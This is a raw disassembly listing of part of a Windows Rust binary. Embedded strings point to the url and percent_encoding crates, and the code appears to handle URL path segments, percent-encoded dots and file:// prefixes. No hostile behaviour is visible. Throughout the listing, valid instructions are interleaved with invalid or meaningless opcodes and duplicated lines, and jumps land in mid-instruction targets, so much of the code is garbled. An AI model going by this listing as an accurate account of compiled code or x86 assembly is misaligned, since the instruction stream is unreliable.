mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], 1
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x90]
call fcn.1400f69e0
test al, al
jne 0x1400f99b3
mov rsi, qword [rsp + 0x78]
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xa0], rax
mov dx, 1
mov r14, rbx
movabs r10, 0x8000000000000002
jmp 0x1400f93fe
lea rcx, [0x140172408]
call fcn.140108690
lea rax, str.mid___len
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0xd0]
call fcn.140108280
lea rcx, [0x140172388]
mov qword [rsp + 0x20], rcx
mov rcx, rax
xor r8d, r8d
mov r9, r13
call fcn.1401087e0
lea rax, [0x140171df0]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_string.rs
lea r9, [0x140171e08]
lea r8, [rsp + 0xd0]
mov edx, 0x37
call fcn.140108600
lea rax, [0x140172430]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140171e08]
lea r8, [rsp + 0xd0]
mov edx, 0x2b
call fcn.140108600
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov rdx, r15
xor r9d, r9d
call fcn.1401087e0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov rdx, r15
call fcn.1401087e0
lea rax, [0x140172458]
jmp 0x1400f9951
mov esp, 0x12824
add byte [rax - 0x75], cl
pushfq
and al, 0x20
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xa8], r9
lea rax, [r9 + 1]
invalid
invalid
add byte [rax], al
mov qword [rsp + 0xa8], r9
lea rax, [r9 + 1]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov rbp, qword [rcx + 0x10]
xor eax, eax
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov r11d, 0x2600
mov qword [rsp + 0x38], rcx
jmp 0x1400f9d52
mov r12, rbp
mov rbp, r12
test r11b, r11b
mov rdi, qword [rsp + 0x128]
add byte [rax - 0x75], cl
pop rsp
and al, 0x30
add byte [rax - 0x75], cl
pop rsp
and al, 0x30
mov r11d, 0x2600
je 0x1400fab24
cmp rbx, rdi
je 0x1400fa4b0
mov edi, ebp
mov qword [rsp + 0x50], rbp
mov r14, rbx
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movzx edx, byte [r14]
movzx r8d, dl
test r8b, r8b
js 0x1400f9d90
lea r10, [r14 + 1]
cmp r8d, 0xd
or eax, 0x85860f
add byte [rax], al
or eax, 0x85860f
add byte [rax], al
jmp 0x1400f9e30
add byte [rax], al
mov ecx, r8d
and ecx, 0x1f
loope 0x1400f9db5
loope 0x1400f9db5
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
add dword [rcx - 0x7d], eax
loope 0x1400f9dde
cmp r8b, 0xdf
cmp al, 0xdf
jbe 0x1400f9de0
movzx r8d, byte [r14 + 2]
shl r9d, 6
loope 0x1400f9db4
and r8d, 0x3f
or r8d, r9d
enter 0xfffffffffffffa80, 0xfffffffffffffff0
cmp dl, 0xf0
cli
invalid
jb 0x1400f9df5
lea r10, [r14 + 4]
movzx edx, byte [r14 + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
ret 0xca09
mov r8d, edx
cmp r8d, 0xd
clc
invalid
ret 0xca09
clc
or eax, 0x50eb3276
jbe 0x1400f9e10
jmp 0x1400f9e30
lea r10, [r14 + 2]
shl ecx, 6
or ecx, r9d
or ecx, ecx
mov r8d, ecx
cmp r8d, 0xd
cmp eax, 0xd
cmp eax, 0xd
jbe 0x1400f9e10
jmp 0x1400f9e30
cmp ecx, dword [rbp - 0x73]
push rsi
add eax, ecx
loope 0x1400f9e08
lea r10, [r14 + 3]
lea edx, [rsi + 3]
shl ecx, 0xc
or r8d, ecx
cmp r8d, 0xd
cmp eax, 0xd
cmp eax, 0xd
ja 0x1400f9e30
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
bt r11d, r8d
jae 0x1400f9e30
movabs dword [0x3949d6894d1a73c3], eax
cli
mov r14, r10
cmp r10, rdi
jne 0x1400f9d70
test dword [rsi - 1], ecx
invalid
jmp 0x1400fa470
add byte [rax], al
cmp r8d, 0x110000
je 0x1400fa473
add byte [rdi], cl
test byte [rsi], dh
invalid
mov qword [rsp + 0x30], r10
mov r13d, 1
add byte [rax], al
add byte [rax], al
cmp r8d, 0x80
add byte [rax], al
add byte [rdx + 0x20], dh
jb 0x1400f9e71
mov r13d, 2
cmp r8d, 0x800
jb 0x1400f9e71
cmp r8d, 0x10000
mov r13d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
sbb r13, 0
mov rdx, qword [rsp + 0x128]
sub rdx, r14
add dword [rax], eax
add byte [rcx + rbp - 0xe], cl
cmp r13, rdx
jae 0x1400f9e8d
cmp byte [r14 + r13], 0xbf
jg 0x1400f9e93
mov edi, 0xf7e90b7f
invalid
jmp 0x1400fad84
jne 0x1400fad84
test ecx, esi
invalid
cmp r8d, 0x3e
jle 0x1400f9eb7
clc
pop rsp
jne 0x1400f9ed9
cmp byte [rsp + 0x2f], 2
je 0x1400f9ee6
cmp byte [rsi + 0x40], 2
je 0x1400f9ee6
jmp 0x1400faa91
clc
and esi, dword [rcx + rdx + 0x41]
cmp eax, 0x2f
jne 0x1400f9ee6
cmp byte [rsi + 0x40], 2
je 0x1400f9ee6
jle 0x1400f9f06
add dh, byte [rbp + rbx - 0x17]
invalid
jmp 0x1400faaa3
add byte [rbp + 0x12], sil
jmp 0x1400faa7f
cmp r8d, 0x110000
je 0x1400faa87
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x20], rax
xor byte [rax - 0x75], cl
push rsi
cmp byte [rax - 0x75], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x20
mov r9, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
call fcn.1400fdf70
imul eax, dword [rax], 0
cmp byte [rsp + 0x2f], 0
jne 0x1400f9f76
jl 0x1400f9f2c
invalid
cmp r15, qword [rsp + 0xa8]
jbe 0x1400f9f76
mov rcx, qword [rsi + 8]
mov rax, r15
sub rax, qword [rsp + 0x48]
sub eax, dword [rsp + 0x48]
jbe 0x1400f9f33
mov rdx, qword [rsp + 0x48]
cmp byte [rcx + rdx], 0xbf
jle 0x1400fadd3
mov edi, 0xea08e0f
add byte [rax], al
cmp rax, 2
jne 0x1400f9f76
cmp eax, 0x24548b48
movzx rax, byte [rcx + rdx]
mov rdx, qword [rsp + 0x48]
movzx eax, byte [rcx + rdx]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1400f9f76
cmp byte [rcx + rdx + 1], 0x3a
jne 0x1400f9f76
cmp r15, qword [rsi]
jne 0x1400f9f62
mov rcx, rsi
call fcn.1400ba350
mov rcx, qword [rsi + 8]
mov byte [rcx + r15], 0x2f
inc r15
mov qword [rsi + 0x10], r15
inc qword [rsp + 0x50]
mov rbp, r15
cmp byte [rsi + 0x40], 2
jne 0x1400fa122
add cl, byte [rdi]
test dword [rdx - 0x7fffffff], esp
jl 0x1400f9fa7
cmp byte [rsp + 0x2f], 2
jne 0x1400fa2a5
invalid
add cl, byte [rdi]
test dword [rdx], ebx
add eax, dword [rax]
add byte [rbx + rcx*4 + 0x1e], cl
mov r11, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rsp + 0x40], rax
jmp 0x1400f9fd7
jmp 0x1400f9fd7
mov r12, r11
lea rbp, [r15 + r13]
invalid
fmul qword [rbx - 0x73]
sub al, 0x2f
invalid
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
add r15, rax
mov rcx, r15
mov rdx, r14
mov r8, r13
call fcn.140106250
mov qword [rbx + 0x10], rbp
mov r15, rbp
add byte [rax - 0x77], cl
imul edx, dword [rax], 0x49
mov edi, ebp
mov r13, rdi
mov r14, rsi
mov esi, esi
mov r11, r12
test r13, r13
je 0x1400fa442
movzx eax, byte [r14]
mov dh, 6
movzx eax, al
test al, al
lea r9, [0x1401724e8]
js 0x1400fa004
mov ecx, eax
shr ecx, 5
mov ecx, dword [r9 + rcx*4]
bt ecx, eax
jae 0x1400fa080
inc r14
dec r13
int 0x4c
mov esi, esi
int 0x4c
mov esi, esi
lea r14, [rax + rax*2]
lea rax, [0x14013c085]
lea eax, [0x14013c085]
lea eax, [0x14013c085]
add r14, rax
mov rdi, r13
mov r13d, 3
mov rax, r11
sub rax, r15
cmp rax, r13
jae 0x1400f9fa0
mov rcx, qword [rsp + 0x40]
mov rbp, r15
mov ebp, edi
add rbp, r13
jb 0x1400fad07
lea r12, [r11 + r11]
cmp r12, rbp
cmovbe r12, rbp
cmp r12, 9
mov eax, 8
add byte [rax], al
add byte [rdi + rcx + 0x42], cl
loopne 0x1400fa0aa
test ebx, ebx
add byte [rax], al
add byte [rdi + rcx + 0x42], cl
loopne 0x1400fa0aa
test ebx, ebx
je 0x1400fa0d3
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x88], r11
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
mov eax, 1
jmp 0x1400fa0d5
nop dword cs:[rax + rax]
mov esi, 1
mov ecx, 1
nop word [rax + rax]
cmp r13, rcx
je 0x1400fa11b
mov rax, rcx
movzx ecx, byte [r14 + rcx]
enter 0xf41, 0xffffffffffffffb6
or al, 0xe
test cl, cl
js 0x1400fa0bb
movzx edx, cl
mov ecx, edx
shr ecx, 5
mov r8d, dword [r9 + rcx*4]
lea rcx, [rax + 1]
add qword [rcx + 0xf], rax
invalid
sal byte [rbx - 0x2b], 1
add qword [rcx + 0xf], rax
movabs dword [0x820fc52949d573d0], eax
or byte [rax + rax], 0
sub r13, rax
jb 0x1400fad44
lea rsi, [r14 + rax]
mov rdi, r13
mov r13, rax
jmp 0x1400fa024
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x60]
mov r8, r12
lea r9, [rsp + 0x78]
call fcn.14004a610
cmp qword [rsp + 0x60], 0
jne 0x1400fad11
mov rax, qword [rsp + 0x68]
and al, 0x68
mov rbx, qword [rsp + 0x38]
mov qword [rbx + 8], rax
mov qword [rbx], r12
mov dword [rbx], esp
mov dword [rbx], esp
jmp 0x1400f9fb1
xor edi, edi
jmp 0x1400fa024
mov r12, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rsp + 0x40], rax
jmp 0x1400fa15e
mov rdi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
lea rcx, [rax + r15]
mov rdx, r14
mov r8, r13
call fcn.140106250
add r15, r13
mov qword [rdi + 0x10], r15
mov rbp, r15
mov r14, rbx
mov r13, rsi
test r13, r13
je 0x1400fa442
test bl, bl
add al, byte [rax]
invalid
test bl, bl
add al, byte [rax]
add byte [rcx + 0xf], al
mov dh, 6
movzx eax, byte [r14]
movzx eax, al
test al, al
lea r9, [0x140172508]
js 0x1400fa187
mov ecx, eax
shr ecx, 5
mov ecx, dword [r9 + rcx*4]
bt ecx, eax
jae 0x1400fa200
inc r14
dec r13
mov rbx, r14
lea r14, [rax + rax*2]
lea rax, [0x14013c085]
add r14, rax
mov rsi, r13
mov r13d, 3
mov ebp, 3
mov ebp, 3
mov rax, r12
sub rax, r15
cmp rax, r13
jae 0x1400fa130
mov rbp, r15
add rbp, r13
jb 0x1400fad07
lea rax, [r12 + r12]
cmp rax, rbp
cmova rbp, rax
cmp rbp, 9
mov eax, 8
cmovb rbp, rax
test r12, r12
je 0x1400fa253
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x88], r12
mov eax, 1
jmp 0x1400fa255
mov ebx, 1
mov ecx, 1
nop word [rax + rax]
cmp r13, rcx
je 0x1400fa29e
test dword [rax], eax
add byte [rax], al
test dword [rax], eax
add byte [rax], al
mov rax, rcx
movzx ecx, byte [r14 + rcx]
test cl, cl
js 0x1400fa23b
movzx edx, cl
mov ecx, edx
shr ecx, 5
mov r8d, dword [r9 + rcx*4]
lea rcx, [rax + 1]
bt r8d, edx
jae 0x1400fa210
sub r13, rax
jb 0x1400fad44
lea rbx, [r14 + rax]
mov rsi, r13
mov r13, rax
jmp 0x1400fa1a7
xor eax, eax
mov rdx, rbp
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x60]
mov r8, rbp
lea r9, [rsp + 0x78]
call fcn.14004a610
cmp qword [rsp + 0x60], 0
jne 0x1400fad11
mov rax, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x38]
mov qword [rdi + 8], rax
mov qword [rdi], rbp
mov r12, rbp
jmp 0x1400fa13a
xor esi, esi
jmp 0x1400fa1a7
mov r11, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rsp + 0x40], rax
jmp 0x1400fa2f7
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x30]
cmp rbx, rdi
mov r11d, 0x2600
jne 0x1400f9d63
nop word cs:[rax + rax]
mov r10, rdi
mov r14, qword [rsi + 8]
mov r8, qword [rsp + 0x50]
cmp r8, rbp
ja 0x1400fad2a
xor r11d, r11d
test r8, r8
mov qword [rsp + 0x30], r10
je 0x1400fa4a5
jbe 0x1400fa4bc
xor r11d, r11d
mov r13, rbp
mov rax, rbp
mov qword [rsp + 0x30], rdi
jl 0x1400fa4e5
xor byte [rcx - 0x77], cl
out dx, eax
call 0x1648c2e09
jl 0x1400fa4e5
xor byte [rcx - 0x77], cl
out dx, eax
mov r12, rax
not rax
add rax, r15
cmp rax, 5
ja case.0x1400fa4e6.4
lea rcx, [0x1401793b0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x43
cmp byte [rsi + riz], 0x2e
cmp byte [r14 + r12], 0x2e
je 0x1400fa528
jmp case.0x1400fa4e6.4
movzx eax, word [r14 + r12]
xor eax, 0x3225
xor al, byte [rax]
add byte [rbx + 0xf], al
mov dh, 0x4c
add al, byte es:[rbx + 0x96665f1]
invalid
je 0x1400fa528
xor al, byte [rax]
add byte [rbx + 0xf], al
mov dh, 0x4c
add al, byte es:[rbx + 0x96665f1]
sal dword [rsp + rbx + 0x43], 0xf
mov bh, 4
xor eax, 0x3225
movzx eax, word [r14 + r12]
xor eax, 0x3225
movzx ecx, byte [r14 + r12 + 2]
xor ecx, 0x45
or cx, ax
jne case.0x1400fa4e6.4
cmp r13, r12
jae 0x1400fa74b
in eax, 0xf
sbb dword [rdx], 2
add byte [rax], al
mov r12, rbp
test r13, r13
jne 0x1400fa76c
jmp 0x1400fa778
mov rdx, r12
cmp dword [r14 + r12], 0x2e653225
je 0x1400fa670
cmp dword [r14 + rdx], 0x2e453225
je 0x1400fa670
cmp dword [r14 + rdx], 0x6532252e
je 0x1400fa670
cmp dword [r14 + rdx], 0x4532252e
jne case.0x1400fa4e6.4
jmp 0x1400fa670
mov rdx, r12
movzx eax, word [r14 + r12]
cmp eax, 0x2e2e
je 0x1400fa670
cmp byte [rsp + 0x2f], 0
jne case.0x1400fa4e6.4
cmp rdx, qword [rsp + 0x48]
jne case.0x1400fa4e6.4
movzx eax, byte [r14 + rdx]
mov ecx, eax
and cl, 0xdf
add cl, 0xbf
cmp cl, 0x19
ja case.0x1400fa4e6.4
movzx edx, byte [r14 + rdx + 1]
cmp edx, 0x7c
je 0x1400fa5d5
cmp edx, 0x3a
jne case.0x1400fa4e6.4
movzx ecx, al
test al, al
js 0x1400fa959
mov edx, ecx
mov r15d, r11d
cmp rbp, qword [rsp + 0x48]
jae 0x1400fa96e
jmp 0x1400fa98c
mov rdx, r12
mov eax, dword [r14 + r12]
mov ecx, 0x25653225
xor eax, ecx
movzx ecx, word [r14 + r12 + 4]
xor ecx, 0x6532
or ecx, eax
je 0x1400fa670
mov eax, dword [r14 + rdx]
mov ecx, 0x25653225
xor eax, ecx
movzx ecx, word [r14 + rdx + 4]
xor ecx, 0x4532
or ecx, eax
je 0x1400fa670
mov eax, dword [r14 + rdx]
mov ecx, 0x25453225
xor eax, ecx
movzx ecx, word [r14 + rdx + 4]
xor ecx, 0x6532
or ecx, eax
je 0x1400fa670
mov eax, dword [r14 + rdx]
mov ecx, 0x25453225
xor eax, ecx
movzx ecx, word [r14 + rdx + 4]
xor ecx, 0x4532
or ecx, eax
jne case.0x1400fa4e6.4
nop dword [rax + rax]
cmp r13, rdx
cmp ebp, edx
jae 0x1400fa68a
mov r12, rbp
mov r15, qword [rsp + 0xa8]
test r13, r13
jne 0x1400fa6b7
jmp 0x1400fa870
test rdx, rdx
je 0x1400fa69f
cmp r13, rdx
jbe 0x1400fa69f
cmp byte [r14 + rdx], 0xbf
jle 0x1400fad9e
mov qword [rsi + 0x10], rdx
mov r13, rdx
mov r15, qword [rsp + 0xa8]
test r13, r13
je 0x1400fa870
cmp byte [r14 + r13 - 1], 0x2f
jne 0x1400fa870
mov ebp, r11d
lea rax, [r13 - 1]
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], rax
mov byte [rsp + 0xa0], 1
movabs rax, 0x2f0000002f
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x78]
call fcn.1400f67e0
cmp qword [rsp + 0x60], 0
je 0x1400fa7a3
mov r8, qword [rsp + 0x68]
cmp r8, r15
mov r11d, ebp
jb 0x1400fa870
test r8, r8
je 0x1400fa7be
cmp r13, r8
jbe 0x1400fa7b8
cmp byte [r14 + r8], 0xbf
jg 0x1400fa7be
jmp 0x1400fadef
test r12, r12
je 0x1400fa760
cmp r13, r12
jbe 0x1400fa760
cmp byte [r14 + r12], 0xbf
jle 0x1400fad9e
mov qword [rsi + 0x10], r12
mov r13, r12
test r13, r13
je 0x1400fa778
cmp byte [r14 + r13 - 1], 0x2f
je 0x1400f9d33
cmp r13, qword [rsi]
jne 0x1400fa78f
mov rcx, rsi
mov edi, r11d
call fcn.1400ba350
mov r11d, edi
mov r14, qword [rsi + 8]
mov byte [r14 + r13], 0x2f
inc r13
mov qword [rsi + 0x10], r13
mov r12, r13
jmp 0x1400f9d33
mov rdi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x30]
mov r11d, ebp
jmp 0x1400fa87d
jne 0x1400fadef
sub r13, r8
je 0x1400fa82f
movzx eax, byte [r14 + r8]
add eax, 0xffffffdd
cmp eax, 0x39
ja 0x1400fa82f
movabs rcx, 0x200000010001001
bt rcx, rax
jae 0x1400fa82f
cmp r13, 1
je 0x1400fa82f
test r12, r12
je 0x1400fa868
mov r9, r12
movzx ecx, byte [r14 + r12 - 1]
mov rax, 0xffffffffffffffff
test cl, cl
mov rdi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x30]
js 0x1400fa920
mov rcx, r12
add rcx, rax
mov r12, rcx
mov qword [rsi + 0x10], rcx
jmp 0x1400fa87d
xor r12d, r12d
nop dword [rax + rax]
mov rdi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x30]
mov rax, r12
sub rax, r15
je 0x1400fa8d6
cmp byte [rsp + 0x2f], 0
jne 0x1400fa8c0
test r15, r15
je 0x1400fa8a5
cmp r12, r15
jbe 0x1400fadb6
cmp byte [r14 + r15], 0xbf
jle 0x1400fadb6
cmp rax, 2
jne 0x1400fa8c0
movzx eax, byte [r14 + r15]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1400fa8c0
cmp byte [r14 + r15 + 1], 0x3a
je 0x1400fa8d6
mov rcx, rsi
movzx edx, byte [rsp + 0x2f]
mov r8, r15
mov ebp, r11d
call fcn.1400fe8f0
mov r11d, ebp
test r11b, r11b
je 0x1400fab24
mov rax, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
test r12, r12
je 0x1400fa8f8
cmp byte [rax + r12 - 1], 0x2f
je 0x1400f9d33
cmp r12, qword [rsi]
jne 0x1400fa90f
mov rcx, rsi
mov edi, r11d
call fcn.1400ba350
mov r11d, edi
mov rax, qword [rsi + 8]
mov byte [rax + r12], 0x2f
inc r12
mov qword [rsi + 0x10], r12
jmp 0x1400f9d33
movzx edx, byte [r14 + r9 - 2]
cmp dl, 0xbf
jg 0x1400faa25
and ecx, 0x1f
shl ecx, 6
and edx, 0x3f
or edx, ecx
mov r15d, r11d
cmp rbp, qword [rsp + 0x48]
jb 0x1400fa98c
mov rax, qword [rsp + 0x48]
test rax, rax
test rax, rax
je 0x1400fa988
cmp rbp, rax
jbe 0x1400fa988
cmp byte [r14 + rax], 0xbf
jle 0x1400fad9e
mov qword [rsi + 0x10], rax
mov rcx, rsi
call fcn.1400f6a00
mov rdi, rsi
mov rsi, qword [rsi + 0x10]
cmp rsi, qword [rdi]
jne 0x1400fa9a8
mov rcx, rdi
call fcn.1400ba350
mov rax, qword [rdi + 8]
mov byte [rax + rsi], 0x3a
lea r12, [rsi + 1]
mov qword [rdi + 0x10], r12
mov r11d, r15d
test r11b, r11b
je 0x1400fa9e4
cmp r12, qword [rdi]
jne 0x1400fa9d4
mov rcx, rdi
call fcn.1400ba350
mov r11d, r15d
mov rax, qword [rdi + 8]
mov byte [rax + rsi + 1], 0x2f
add rsi, 2
mov qword [rdi + 0x10], rsi
mov r12, rsi
mov rax, qword [rsp + 0xb0]
cmp byte [rax], 0
je 0x1400faa1b
mov rsi, qword [rsp + 0x38]
mov rcx, qword [rsi + 0x30]
test rcx, rcx
je 0x1400faa0b
mov rax, qword [rsi + 0x38]
mov dl, 5
call qword [rax + 0x28]
mov r11d, r15d
mov rax, qword [rsp + 0xb0]
mov byte [rax], 0
jmp 0x1400f9d33
mov rsi, qword [rsp + 0x38]
jmp 0x1400f9d33
mov r10, rbx
jmp 0x1400fa473
mov r10, qword [rsp + 0x30]
jmp 0x1400fa473
mov rcx, qword [rsi + 0x30]
test rcx, rcx
je 0x1400faaa3
mov rax, qword [rsi + 0x38]
xor edx, edx
call qword [rax + 0x28]
cmp r15, qword [rsi]
jne 0x1400faab0
mov rcx, rsi
call fcn.1400ba350
mov r14, qword [rsi + 8]
mov byte [r14 + r15], 0x2f
lea rbp, [r15 + 1]
mov qword [rsi + 0x10], rbp
mov rax, qword [rsp + 0x50]
cmp rax, r15
ja 0x1400fae48
test rax, rax
je 0x1400faaf3
mov rax, qword [rsp + 0x50]
cmp rax, rbp
jae 0x1400faaed
mov r11b, 1
cmp byte [r14 + rax], 0xbf
jg 0x1400fab04
jmp 0x1400fae48
jne 0x1400fae48
mov r11b, 1
test r15, r15
je 0x1400fab11
test rbp, rbp
je 0x1400fae46
mov r13, rbp
mov rax, qword [rsp + 0x50]
jmp 0x1400fa4c5
mov r13d, 1
xor r15d, r15d
mov rax, qword [rsp + 0x50]
jmp 0x1400fa4c5
cmp byte [rsp + 0x2f], 0
jne 0x1400facca
mov rcx, qword [rsp + 0x58]
call fcn.140107fc0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call fcn.140107fc0
lea rax, [0x140172518]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbp
mov r9, rbp
call fcn.1401087e0
lea rax, str.mid___len
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
mov qword [rsp + 0x88], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0x78]
call fcn.140108280
lea rax, [0x140172388]
mov qword [rsp + 0x20], rax
mov rcx, r14
xor r8d, r8d
mov r9, r13
call fcn.1401087e0
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172068]
mov edx, 0x30
call fcn.140108350
lea rax, [0x140172560]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, r12
mov r8, r15
mov r9, r12
call fcn.1401087e0
lea rax, [0x1401724d0]
mov qword [rsp + 0x20], rax
mov rdx, r15
mov r8, qword [rsp + 0x48]
mov r9, r15
call fcn.1401087e0
lea rax, [0x140172548]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, r13
mov r9, r13
call fcn.1401087e0
mov rcx, r12
call fcn.140108110
add r14, r8
lea rax, [0x140172788]
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r14
mov rdx, r13
mov r9, r13
call fcn.1401087e0
call fcn.140010b00
mov ecx, 1
mov rdx, rbx
call fcn.140107fc0
xor ebp, ebp
lea rax, [0x140172530]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbp
mov r8, qword [rsp + 0x50]
mov r9, r15
call fcn.1401087e0
int3
mov rax, qword [rdi + 8]
mov dword [rax + rdx + 3], 0x2f2f3a65
mov dword [rax + rdx], 0x656c6966
add rdx, 7
mov qword [rdi + 0x10], rdx
mov r14, rbx
sub r14, r12
je 0x1400fba01
xor esi, esi
mov eax, 0x2600
movabs rcx, 0x8000800800000000
xor r13d, r13d
xor r9d, r9d
mov rdx, r12
jmp 0x1400fb68f
inc rdx
mov r10d, 1
cmp r8d, 0x3f
ja 0x1400fb727
mov r11d, r8d
bt rax, r11
jae 0x1400fb71d
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
jns 0x1400fb660
mov r10d, r8d
and r10d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r8b, 0xdf
jbe 0x1400fb6fd
movzx r8d, byte [rdx + 2]
shl ebp, 6
and r8d, 0x3f
or r8d, ebp
cmp r11b, 0xf0
jb 0x1400fb777
add rdx, 2
shl r10d, 6
or r10d, ebp
mov r8d, r10d
mov r10d, 1
cmp r8d, 0x3f
jbe 0x1400fb673
cmp r8d, 0x110000
je 0x1400fb907
xor r14d, r14d
mov eax, 1
mov r13b, 1
mov r15, rbx
jmp 0x1400fbf33
mov rax, qword [rdi + 8]
movabs rcx, 0x2f2f2f3a656c6966
